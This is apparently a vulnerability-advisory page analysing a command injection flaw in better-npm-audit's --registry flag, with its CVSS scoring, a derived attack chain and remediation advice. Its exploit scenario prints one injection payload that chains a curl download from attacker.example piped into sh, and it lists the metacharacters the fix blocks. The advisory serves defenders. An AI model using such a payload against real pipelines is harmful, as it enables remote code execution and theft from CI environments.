Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessControl CI/CD pipeline variable or workflow file
-
DeliverySupply metacharacter-laden registry URL as --registry value
-
Exploitbetter-npm-audit interpolates value into shell command string
-
Executionchild_process.exec() passes string to system shell
-
PersistShell executes injected commands with CI runner privileges
-
ImpactData exfiltration or environment compromise
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires control over the value passed to the --registry flag of better-npm-audit. In direct CLI usage, this means a local user or attacker with local access must invoke the tool with a crafted argument. In CI/CD environments - the most impactful threat scenario - an attacker who can influence pipeline variables, workflow YAML files, or any configuration source that populates the --registry argument can trigger execution without local shell access, as the injection fires when automation runs the tool. No special configuration of better-npm-audit itself is required; the vulnerability is present in the default code path whenever the --registry flag is used with any value. Limiting factors include: the CVSS 4.0 AV:L designation (tool is a local CLI utility, not a network service), the UI:P requirement (a human or automated process must invoke the tool), and the fact that the --registry flag must actually be passed - invocations that omit this flag are not affected. Unauthenticated remote exploitation against a network-exposed service is not applicable to this product. |
| Impact | The CVSS 4.0 score of 8.5 reflects high impact across confidentiality, integrity, and availability (VC:H/VI:H/VA:H) with low attack complexity, but the local attack vector (AV:L) and passive user interaction requirement (UI:P) substantially constrain the realistic threat surface compared to a network-exploitable vulnerability. The most credible attack path is through CI/CD pipelines where an adversary can influence the --registry argument - via a compromised workflow file, a malicious pull request, or a poisoned pipeline variable - causing the injection to fire when automation runs better-npm-audit. No EPSS data was provided, and the vulnerability is not listed in CISA KEV, indicating no confirmed widespread exploitation. The publicly available GitHub issue and PR diff make the vulnerability trivially reproducible, meaning any operator - from a large enterprise to a small development team - who relies on better-npm-audit in automated pipelines should treat remediation as urgent given the absence of a patched release. The CVSS 4.0 vector is consistent with the description: AV:L because the tool is a local CLI utility rather than a network service, and PR:N because no elevated privileges are required to pass a flag to a CLI tool. |
| Exploit ScenarioDerived | An attacker with write access to a CI/CD pipeline's configuration - for example, through a malicious pull request to an open-source project or a compromised repository secret - sets the --registry value to a string such as https://registry.npmjs.org;curl${IFS}http://attacker.example/shell.sh|sh. When the automated pipeline invokes better-npm-audit with this value, child_process.exec() passes the full string to /bin/sh, which interprets the semicolon as a command separator and executes the injected shell commands with the privileges of the CI runner process. The vulnerable code path is publicly documented in the GitHub issue and PR diff, making exploit construction straightforward for any attacker familiar with Node.js command injection patterns. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 22, 2026
Command injection in better-npm-audit through 3.11.0 (and the 4.0.0-rc.2 prerelease) allows arbitrary OS command execution when a value containing shell metacharacters is supplied to the --registry CLI flag. The vulnerability exists because handleInput.ts interpolates the raw registry value into a shell command string that is then passed to Node.js child_process.exec(), which spawns a system shell and interprets metacharacters such as semicolons, pipes, and backticks as command separators or substitutions. No confirmed active exploitation or CISA KEV listing exists at time of analysis, but the vulnerable code path is publicly documented in GitHub issue #119 and the diff of PR #120, significantly lowering the barrier to exploit development.
RemediationAI
No vendor-released patched version has been confirmed at time of analysis - the upstream fix exists only as pull request #120 at https://github.com/jeemok/better-npm-audit/pull/120, which adds URL validation to the registry argument. Users should monitor the repository (https://github.com/jeemok/better-npm-audit) for a tagged release incorporating this change and upgrade immediately when available. As a compensating control, avoid supplying the --registry flag with any externally sourced, user-controlled, or pipeline-variable-derived value; instead hardcode the registry URL in pipeline configuration files under source control. In CI/CD environments, restrict who can modify workflow files or pipeline variables that feed into better-npm-audit invocations, as this is the primary injection vector. Consider replacing better-npm-audit with a direct npm audit invocation until a patched release ships; the trade-off is loss of better-npm-audit's enhanced filtering and exit-code features. If the tool must remain in use, run it under a least-privilege OS account to limit the blast radius of any successful injection.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
better-npm-audit (CPE: cpe:2.3:a:jeemok:better-npm-audit:*:*:*:*:*:*:*:*) is a Node.js CLI wrapper around npm audit that provides enhanced filtering and exit-code control. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). Specifically, src/handlers/handleInput.ts lines 30-37 constructs an npm audit invocation by string-interpolating the user-supplied --registry value directly into a command string; index.ts line 34 then passes this string to child_process.exec(). Unlike execFile() or spawn() with an argument array, exec() delegates parsing to the underlying system shell (/bin/sh on Unix, cmd.exe on Windows), so any shell metacharacter in the registry value is interpreted as shell syntax rather than a literal URL character. The upstream fix in PR #120 introduces a validateRegistryUrl() function that rejects strings containing dangerous metacharacters ([;|&`$(){}[]<> ]) and enforces that the value parses as a valid http: or https: URL before it is used in command construction.
Know when Better Npm Audit gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Local CLI tool requires user or automation to invoke with crafted argument (AV:L, UI:R); no privileges needed to supply a CLI flag (PR:N); shell injection yields full system-level command execution (C:H/I:H/A:H).
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
better-npm-audit through 3.11.0, and the 4.0.0-rc.2 prerelease, builds its npm audit command by interpolating the user-supplied --registry option into a command string in src/handlers/handleInput.ts without validation or quoting, then passes that string to child_process.exec() in index.ts, which spawns a shell. A registry value containing shell metacharacters such as a semicolon, pipe, or command substitution executes arbitrary operating system commands with the privileges of the process running the audit.
Executive ViewAI
better-npm-audit versions through 3.11.0 contain a command injection vulnerability in the --registry CLI flag that allows arbitrary OS command execution when processing untrusted registry parameters. Organizations using this tool in their build pipelines could experience compromised systems, code tampering, and supply chain risks.
Until a vendor patch is available, implement mandatory input validation blocking shell metacharacters (;, |, backticks, $()) in the registry parameter; restrict the --registry flag to pre-approved, internal registry sources only; enforce execution of better-npm-audit within isolated, sandboxed environments with minimal system privileges; or immediately discontinue use and migrate to alternative npm security scanning tools that enforce safe command construction patterns.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
EUVD-2026-64261
GHSA-f8p4-pxm9-xwx5
NVD
CVE.org
EPSS
Exploit-DB